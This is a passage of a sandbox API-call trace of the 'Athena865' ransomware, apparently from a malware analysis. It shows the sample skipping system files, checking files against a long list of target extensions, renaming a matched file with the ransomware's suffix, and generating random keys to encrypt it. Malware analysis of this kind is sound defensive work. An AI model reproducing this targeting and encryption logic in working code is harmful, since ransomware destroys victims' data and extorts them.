0x530d20 [0060.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0060.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0060.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0060.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0060.224] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0060.242] CloseHandle (hObject=0x17c) returned 1 [0060.242] CloseHandle (hObject=0x154) returned 1 [0060.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0060.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0060.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0060.250] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0060.250] lstrcmpiW (lpString1="Office32WW.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0060.250] lstrcmpiW (lpString1="Office32WW.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0060.250] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".") returned 1 [0060.250] lstrcmpiW (lpString1="Office32WW.xml", lpString2="..") returned 1 [0060.250] lstrcmpiW (lpString1="Office32WW.xml", lpString2="windows") returned -1 [0060.250] lstrcmpiW (lpString1="Office32WW.xml", lpString2="bootmgr") returned 1 [0060.250] lstrcmpiW (lpString1="Office32WW.xml", lpString2="temp") returned -1 [0060.250] lstrcmpiW (lpString1="Office32WW.xml", lpString2="pagefile.sys") returned -1 [0060.250] lstrcmpiW (lpString1="Office32WW.xml", lpString2="boot") returned 1 [0060.250] lstrcmpiW (lpString1="Office32WW.xml", lpString2="ids.txt") returned 1 [0060.250] lstrcmpiW (lpString1="Office32WW.xml", lpString2="ntuser.dat") returned 1 [0060.250] lstrcmpiW (lpString1="Office32WW.xml", lpString2="perflogs") returned -1 [0060.250] lstrcmpiW (lpString1="Office32WW.xml", lpString2="MSBuild") returned 1 [0060.250] lstrlenW (lpString="Office32WW.xml") returned 14 [0060.250] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Office32WW.xml" | out: lpString1="Office32WW.xml") returned="Office32WW.xml" [0060.251] lstrlenW (lpString="Office32WW.xml") returned 14 [0060.251] lstrlenW (lpString="Athena865") returned 9 [0060.251] lstrcmpiW (lpString1="e32WW.xml", lpString2="Athena865") returned 1 [0060.251] lstrlenW (lpString=".dll") returned 4 [0060.251] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".dll") returned 1 [0060.251] lstrlenW (lpString=".lnk") returned 4 [0060.251] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".lnk") returned 1 [0060.251] lstrlenW (lpString=".ini") returned 4 [0060.251] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".ini") returned 1 [0060.251] lstrlenW (lpString=".sys") returned 4 [0060.251] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".sys") returned 1 [0060.251] lstrlenW (lpString="Office32WW.xml") returned 14 [0060.251] lstrlenW (lpString="bak") returned 3 [0060.251] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0060.251] lstrlenW (lpString="ba_") returned 3 [0060.251] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0060.251] lstrlenW (lpString="dbb") returned 3 [0060.251] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0060.251] lstrlenW (lpString="vmdk") returned 4 [0060.251] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0060.251] lstrlenW (lpString="rar") returned 3 [0060.251] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0060.251] lstrlenW (lpString="zip") returned 3 [0060.251] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0060.251] lstrlenW (lpString="tgz") returned 3 [0060.251] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0060.251] lstrlenW (lpString="vbox") returned 4 [0060.251] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0060.251] lstrlenW (lpString="vdi") returned 3 [0060.251] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0060.251] lstrlenW (lpString="vhd") returned 3 [0060.251] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0060.252] lstrlenW (lpString="vhdx") returned 4 [0060.252] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0060.252] lstrlenW (lpString="avhd") returned 4 [0060.252] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0060.252] lstrlenW (lpString="db") returned 2 [0060.252] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0060.252] lstrlenW (lpString="db2") returned 3 [0060.252] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0060.252] lstrlenW (lpString="db3") returned 3 [0060.252] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0060.252] lstrlenW (lpString="dbf") returned 3 [0060.252] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0060.252] lstrlenW (lpString="mdf") returned 3 [0060.252] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0060.252] lstrlenW (lpString="mdb") returned 3 [0060.252] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0060.252] lstrlenW (lpString="sql") returned 3 [0060.252] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0060.252] lstrlenW (lpString="sqlite") returned 6 [0060.252] lstrcmpiW (lpString1="WW.xml", lpString2="sqlite") returned 1 [0060.252] lstrlenW (lpString="sqlite3") returned 7 [0060.252] lstrcmpiW (lpString1="2WW.xml", lpString2="sqlite3") returned -1 [0060.252] lstrlenW (lpString="sqlitedb") returned 8 [0060.252] lstrcmpiW (lpString1="32WW.xml", lpString2="sqlitedb") returned -1 [0060.252] lstrlenW (lpString="xml") returned 3 [0060.252] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0060.252] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.Athena865") returned 87 [0060.252] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.athena865"), dwFlags=0x1) returned 1 [0060.253] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0060.253] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4274) returned 1 [0060.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0060.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0060.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0060.254] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0060.254] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0060.255] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0060.255] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c0, lpName=0x0) returned 0x17c [0060.256] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13c0) returned 0x100000 [0060.257] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0060.258] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0060.258] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0060.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0060.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0060.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0060.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0060.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0060.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0060.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0060.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0060.259] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0060.259] CloseHandle (hObject=0x17c) returned 1 [0060.259] CloseHandle (hObject=0x154) returned 1 [0060.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0060.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0060.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0060.259] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0060.259] lstrcmpiW (lpString1="ose.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0060.259] lstrcmpiW (lpString1="ose.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0060.259] lstrcmpiW (lpString1="ose.exe", lpString2=".") returned 1 [0060.259] lstrcmpiW (lpString1="ose.exe", lpString2="..") returned 1 [0060.259] lstrcmpiW (lpString1="ose.exe", lpString2="windows") returned -1 [0060.259] lstrcmpiW (lpString1="ose.exe", lpString2="bootmgr") returned 1 [0060.259] lstrcmpiW (lpString1="ose.exe", lpString2="temp") returned -1 [0060.259] lstrcmpiW (lpString1="ose.exe", lpString2="pagefile.sys") returned -1 [0060.259] lstrcmpiW (lpString1="ose.exe", lpString2="boot") returned 1 [0060.259] lstrcmpiW (lpString1="ose.exe", lpString2="ids.txt") returned 1 [0060.259] lstrcmpiW (lpString1="ose.exe", lpString2="ntuser.dat") returned 1 [0060.259] lstrcmpiW (lpString1="ose.exe", lpString2="perflogs") returned -1 [0060.259] lstrcmpiW (lpString1="ose.exe", lpString2="MSBuild") returned 1 [0060.259] lstrlenW (lpString="ose.exe") returned 7 [0060.260] lstrcpyW (in: lpString1=0x241e8c6, lpString2="ose.exe" | out: lpString1="ose.exe") returned="ose.exe" [0060.260] lstrlenW (lpString="ose.exe") returned 7 [0060.260] lstrlenW (lpString="Athena865") returned 9 [0060.260] lstrlenW (lpString=".dll") returned 4 [0060.260] lstrcmpiW (lpString1="ose.exe", lpString2=".dll") returned 1 [0060.260] lstrlenW (lpString=".lnk") returned 4 [0060.260] lstrcmpiW (lpString1="ose.exe", lpString2=".lnk") returned 1 [0060.260] lstrlenW (lpString=".ini") returned 4 [0060.260] lstrcmpiW (lpString1="ose.exe", lpString2=".ini") returned 1 [0060.260] lstrlenW (lpString=".sys") returned 4 [0060.260] lstrcmpiW (lpString1="ose.exe", lpString2=".sys") returned 1 [0060.260] lstrlenW (lpString="ose.exe") returned 7 [0060.260] lstrlenW (lpString="bak") returned 3 [0060.260] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0060.260] lstrlenW (lpString="ba_") returned 3 [0060.260] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0060.260] lstrlenW (lpString="dbb") returned 3 [0060.260] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0060.260] lstrlenW (lpString="vmdk") returned 4 [0060.260] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0060.260] lstrlenW (lpString="rar") returned 3 [0060.260] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0060.260] lstrlenW (lpString="zip") returned 3 [0060.260] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0060.260] lstrlenW (lpString="tgz") returned 3 [0060.260] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0060.260] lstrlenW (lpString="vbox") returned 4 [0060.260] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0060.260] lstrlenW (lpString="vdi") returned 3 [0060.260] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0060.260] lstrlenW (lpString="vhd") returned 3 [0060.260] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0060.260] lstrlenW (lpString="vhdx") returned 4 [0060.261] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0060.261] lstrlenW (lpString="avhd") returned 4 [0060.261] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0060.261] lstrlenW (lpString="db") returned 2 [0060.261] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0060.261] lstrlenW (lpString="db2") returned 3 [0060.261] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0060.261] lstrlenW (lpString="db3") returned 3 [0060.261] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0060.261] lstrlenW (lpString="dbf") returned 3 [0060.261] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0060.261] lstrlenW (lpString="mdf") returned 3 [0060.261] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0060.261] lstrlenW (lpString="mdb") returned 3 [0060.261] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0060.261] lstrlenW (lpString="sql") returned 3 [0060.261] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0060.261] lstrlenW (lpString="sqlite") returned 6 [0060.261] lstrcmpiW (lpString1="se.exe", lpString2="sqlite") returned -1 [0060.261] lstrlenW (lpString="sqlite3") returned 7 [0060.261] lstrlenW (lpString="sqlitedb") returned 8 [0060.261] lstrlenW (lpString="xml") returned 3 [0060.261] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0060.261] lstrlenW (lpString="$er") returned 3 [0060.261] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0060.261] lstrlenW (lpString="4dd") returned 3 [0060.261] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0060.261] lstrlenW (lpString="4dl") returned 3 [0060.261] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0060.261] lstrlenW (lpString="^^^") returned 3 [0060.261] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0060.261] lstrlenW (lpString="abs") returned 3 [0060.261] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0060.262] lstrlenW (lpString="abx") returned 3 [0060.262] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0060.262] lstrlenW (lpString="accdb") returned 5 [0060.262] lstrcmpiW (lpString1="e.exe", lpString2="accdb") returned 1 [0060.262] lstrlenW (lpString="accdc") returned 5 [0060.262] lstrcmpiW (lpString1="e.exe", lpString2="accdc") returned 1 [0060.262] lstrlenW (lpString="accde") returned 5 [0060.262] lstrcmpiW (lpString1="e.exe", lpString2="accde") returned 1 [0060.262] lstrlenW (lpString="accdr") returned 5 [0060.262] lstrcmpiW (lpString1="e.exe", lpString2="accdr") returned 1 [0060.262] lstrlenW (lpString="accdt") returned 5 [0060.262] lstrcmpiW (lpString1="e.exe", lpString2="accdt") returned 1 [0060.262] lstrlenW (lpString="accdw") returned 5 [0060.262] lstrcmpiW (lpString1="e.exe", lpString2="accdw") returned 1 [0060.262] lstrlenW (lpString="accft") returned 5 [0060.262] lstrcmpiW (lpString1="e.exe", lpString2="accft") returned 1 [0060.262] lstrlenW (lpString="adb") returned 3 [0060.262] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0060.262] lstrlenW (lpString="adb") returned 3 [0060.262] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0060.262] lstrlenW (lpString="ade") returned 3 [0060.262] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0060.262] lstrlenW (lpString="adf") returned 3 [0060.262] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0060.262] lstrlenW (lpString="adn") returned 3 [0060.262] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0060.262] lstrlenW (lpString="adp") returned 3 [0060.262] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0060.262] lstrlenW (lpString="alf") returned 3 [0060.262] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0060.262] lstrlenW (lpString="ask") returned 3 [0060.262] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0060.262] lstrlenW (lpString="btr") returned 3 [0060.263] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0060.263] lstrlenW (lpString="cat") returned 3 [0060.263] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0060.263] lstrlenW (lpString="cdb") returned 3 [0060.263] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0060.263] lstrlenW (lpString="ckp") returned 3 [0060.263] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0060.263] lstrlenW (lpString="cma") returned 3 [0060.263] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0060.263] lstrlenW (lpString="cpd") returned 3 [0060.263] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0060.263] lstrlenW (lpString="dacpac") returned 6 [0060.263] lstrcmpiW (lpString1="se.exe", lpString2="dacpac") returned 1 [0060.263] lstrlenW (lpString="dad") returned 3 [0060.263] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0060.263] lstrlenW (lpString="dadiagrams") returned 10 [0060.263] lstrlenW (lpString="daschema") returned 8 [0060.263] lstrlenW (lpString="db-journal") returned 10 [0060.263] lstrlenW (lpString="db-shm") returned 6 [0060.263] lstrcmpiW (lpString1="se.exe", lpString2="db-shm") returned 1 [0060.263] lstrlenW (lpString="db-wal") returned 6 [0060.263] lstrcmpiW (lpString1="se.exe", lpString2="db-wal") returned 1 [0060.263] lstrlenW (lpString="dbc") returned 3 [0060.263] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0060.263] lstrlenW (lpString="dbs") returned 3 [0060.263] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0060.263] lstrlenW (lpString="dbt") returned 3 [0060.263] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0060.263] lstrlenW (lpString="dbv") returned 3 [0060.263] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0060.263] lstrlenW (lpString="dbx") returned 3 [0060.263] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0060.263] lstrlenW (lpString="dcb") returned 3 [0060.264] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0060.264] lstrlenW (lpString="dct") returned 3 [0060.264] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0060.264] lstrlenW (lpString="dcx") returned 3 [0060.264] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0060.264] lstrlenW (lpString="ddl") returned 3 [0060.264] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0060.264] lstrlenW (lpString="dlis") returned 4 [0060.264] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0060.264] lstrlenW (lpString="dp1") returned 3 [0060.264] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0060.264] lstrlenW (lpString="dqy") returned 3 [0060.264] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0060.264] lstrlenW (lpString="dsk") returned 3 [0060.264] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0060.264] lstrlenW (lpString="dsn") returned 3 [0060.264] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0060.264] lstrlenW (lpString="dtsx") returned 4 [0060.264] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0060.264] lstrlenW (lpString="dxl") returned 3 [0060.264] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0060.264] lstrlenW (lpString="eco") returned 3 [0060.264] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0060.264] lstrlenW (lpString="ecx") returned 3 [0060.264] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0060.264] lstrlenW (lpString="edb") returned 3 [0060.264] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0060.264] lstrlenW (lpString="epim") returned 4 [0060.264] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0060.264] lstrlenW (lpString="fcd") returned 3 [0060.264] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0060.264] lstrlenW (lpString="fdb") returned 3 [0060.264] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0060.265] lstrlenW (lpString="fic") returned 3 [0060.265] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0060.265] lstrlenW (lpString="flexolibrary") returned 12 [0060.265] lstrlenW (lpString="fm5") returned 3 [0060.269] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0060.269] lstrlenW (lpString="fmp") returned 3 [0060.269] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0060.269] lstrlenW (lpString="fmp12") returned 5 [0060.269] lstrcmpiW (lpString1="e.exe", lpString2="fmp12") returned -1 [0060.269] lstrlenW (lpString="fmpsl") returned 5 [0060.269] lstrcmpiW (lpString1="e.exe", lpString2="fmpsl") returned -1 [0060.269] lstrlenW (lpString="fol") returned 3 [0060.269] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0060.269] lstrlenW (lpString="fp3") returned 3 [0060.269] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0060.269] lstrlenW (lpString="fp4") returned 3 [0060.269] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0060.269] lstrlenW (lpString="fp5") returned 3 [0060.269] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0060.269] lstrlenW (lpString="fp7") returned 3 [0060.269] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0060.270] lstrlenW (lpString="fpt") returned 3 [0060.270] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0060.270] lstrlenW (lpString="frm") returned 3 [0060.270] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0060.270] lstrlenW (lpString="gdb") returned 3 [0060.270] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0060.270] lstrlenW (lpString="gdb") returned 3 [0060.270] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0060.270] lstrlenW (lpString="grdb") returned 4 [0060.270] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0060.270] lstrlenW (lpString="gwi") returned 3 [0060.270] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0060.270] lstrlenW (lpString="hdb") returned 3 [0060.270] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0060.270] lstrlenW (lpString="his") returned 3 [0060.270] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0060.270] lstrlenW (lpString="ib") returned 2 [0060.270] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0060.270] lstrlenW (lpString="idb") returned 3 [0060.270] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0060.270] lstrlenW (lpString="ihx") returned 3 [0060.270] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0060.270] lstrlenW (lpString="itdb") returned 4 [0060.270] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0060.270] lstrlenW (lpString="itw") returned 3 [0060.270] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0060.270] lstrlenW (lpString="jet") returned 3 [0060.270] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0060.270] lstrlenW (lpString="jtx") returned 3 [0060.270] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0060.270] lstrlenW (lpString="kdb") returned 3 [0060.270] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0060.271] lstrlenW (lpString="kexi") returned 4 [0060.271] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0060.271] lstrlenW (lpString="kexic") returned 5 [0060.271] lstrcmpiW (lpString1="e.exe", lpString2="kexic") returned -1 [0060.271] lstrlenW (lpString="kexis") returned 5 [0060.271] lstrcmpiW (lpString1="e.exe", lpString2="kexis") returned -1 [0060.271] lstrlenW (lpString="lgc") returned 3 [0060.271] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0060.271] lstrlenW (lpString="lwx") returned 3 [0060.271] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0060.271] lstrlenW (lpString="maf") returned 3 [0060.271] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0060.271] lstrlenW (lpString="maq") returned 3 [0060.271] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0060.271] lstrlenW (lpString="mar") returned 3 [0060.271] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0060.271] lstrlenW (lpString="marshal") returned 7 [0060.271] lstrlenW (lpString="mas") returned 3 [0060.271] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0060.271] lstrlenW (lpString="mav") returned 3 [0060.271] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0060.271] lstrlenW (lpString="maw") returned 3 [0060.271] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0060.271] lstrlenW (lpString="mdbhtml") returned 7 [0060.271] lstrlenW (lpString="mdn") returned 3 [0060.271] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0060.271] lstrlenW (lpString="mdt") returned 3 [0060.271] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0060.271] lstrlenW (lpString="mfd") returned 3 [0060.271] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0060.271] lstrlenW (lpString="mpd") returned 3 [0060.271] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0060.271] lstrlenW (lpString="mrg") returned 3 [0060.271] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0060.272] lstrlenW (lpString="mud") returned 3 [0060.272] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0060.272] lstrlenW (lpString="mwb") returned 3 [0060.272] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0060.272] lstrlenW (lpString="myd") returned 3 [0060.272] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0060.272] lstrlenW (lpString="ndf") returned 3 [0060.272] lstrcmpiW (lpString1="exe", 